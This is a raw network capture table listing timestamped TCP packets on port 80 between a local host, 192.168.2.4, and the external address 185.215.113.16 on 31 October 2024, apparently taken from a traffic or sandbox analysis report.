Oct 31, 2024 20:52:10.785001040 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.785006046 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.785047054 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.785065889 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.785073996 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.785125017 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.785135031 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.785140991 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.785166979 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.785172939 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.785198927 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.785221100 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.785223961 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.785229921 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.785238028 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.785258055 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.785289049 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.785347939 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.785377026 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.785384893 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.785389900 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.785429001 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.785696030 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.785707951 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.785716057 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.785727024 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.785737991 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.785743952 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.785765886 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.785778046 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.785825968 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.785830975 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.785841942 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.785849094 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.785855055 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.785881042 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.785893917 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.785958052 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.785965919 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.785978079 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.785996914 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.786004066 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.786010027 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.786015987 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.786015987 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.786029100 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.786040068 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.786051989 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.786061049 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.786073923 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.786082029 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.786092997 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.786092997 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.786122084 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.786142111 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.786190033 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.786233902 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.786241055 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.786247015 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.786252022 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.786257029 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.786262989 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.786273956 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.786293983 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.786318064 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.786943913 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.786957979 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.786963940 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.786995888 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.786998987 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.787003994 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.787015915 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.787022114 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.787051916 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.787058115 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.787060022 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.787089109 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.948252916 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.948265076 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.948328018 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.949018002 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.949064016 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.949065924 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.949074030 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.949130058 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.949784994 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.949790955 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.949807882 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.949839115 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.949852943 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.949872971 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.949882030 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.949893951 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.949924946 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.950042009 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.950050116 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.950061083 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.950066090 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.950083971 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.950088978 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.950090885 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.950099945 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.950107098 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.950113058 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.950119019 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.950119972 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.950126886 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.950139046 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.950171947 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.950196981 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.950206041 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.950217009 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.950222969 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.950228930 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.950234890 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.950247049 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.950263023 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.950284004 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.950381994 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.950387955 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.950402975 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.950409889 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.950428009 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.950429916 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.950438023 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.950443983 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.950448036 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.950448990 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.950464964 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.950467110 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.950473070 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.950491905 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.950516939 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.950534105 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.950540066 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.950551033 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.950579882 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.951165915 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.951174021 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.951185942 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.951232910 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.951414108 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.951422930 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.951427937 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.951488018 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.951533079 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.951579094 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.951584101 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.951591015 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.951873064 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.951898098 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.951903105 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.951904058 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.951924086 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.951952934 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.951973915 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.951980114 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.951991081 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.951997042 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.952025890 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.952043056 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.952058077 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.952064991 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.952078104 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.952105999 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.952141047 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.952147961 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.952158928 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.952184916 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.952214003 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.952227116 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.952246904 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.952250957 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.952255964 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.952275038 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.952297926 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.952299118 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.952302933 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.952339888 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.952794075 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.952802896 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.952817917 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.952841997 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.953068972 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.953078032 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.953088999 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.953104973 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.953111887 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.953115940 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.953118086 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.953144073 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.953202009 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.953207970 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.953218937 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.953223944 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.953229904 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.953242064 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.953249931 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.953268051 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.953299046 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.953350067 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.953358889 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.953406096 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.953413963 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.953423023 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.953434944 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.953440905 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.953447104 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.953457117 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.953458071 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.953481913 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.953505993 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.953527927 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.953533888 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.953591108 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.953591108 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.953600883 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.953612089 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.953618050 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.953623056 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:10.953643084 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:10.953660011 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.115694046 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.115726948 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.115729094 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.115739107 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.115793943 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.115832090 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.116816044 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.116878033 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.116974115 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.116985083 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.116997004 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.117007971 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.117017984 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.117027044 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.117029905 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.117043018 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.117053032 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.117072105 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.117084980 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.117094994 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.117096901 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.117106915 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.117120028 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.117140055 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.117141962 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.117151976 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.117157936 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.117172003 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.117182970 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.117187977 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.117193937 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.117203951 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.117214918 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.117216110 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.117240906 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.117254019 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.117649078 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.117661953 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.117671967 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.117683887 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.117692947 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.117700100 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.117702961 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.117722034 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.117723942 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.117736101 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.117746115 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.117747068 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.117757082 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.117759943 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.117767096 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.117779016 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.117789984 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.117804050 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.117814064 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.117822886 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.117834091 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.117837906 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.117844105 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.117849112 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.117856026 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.117865086 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.117866039 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.117887020 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.117888927 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.117911100 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.117939949 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.118271112 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.118310928 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.118320942 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.118325949 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.118355036 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.118400097 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.118412018 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.118422985 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.118433952 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.118444920 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.118448019 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.118457079 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.118486881 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.118772984 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.118783951 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.118796110 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.118819952 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.118843079 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.118885994 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.118900061 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.118910074 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.118921995 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.118932962 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.118932962 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.118953943 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.118971109 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.119167089 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.119185925 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.119195938 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.119206905 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.119216919 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.119226933 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.119227886 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.119237900 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.119239092 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.119249105 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.119256973 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.119260073 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.119265079 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.119271994 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.119285107 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.119294882 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.119299889 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.119307041 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.119328022 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.119342089 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.119396925 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.119405985 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.119441986 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:11.119447947 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:11.119457006 CET	80	49734	185.215.113.16	192.168.2.4
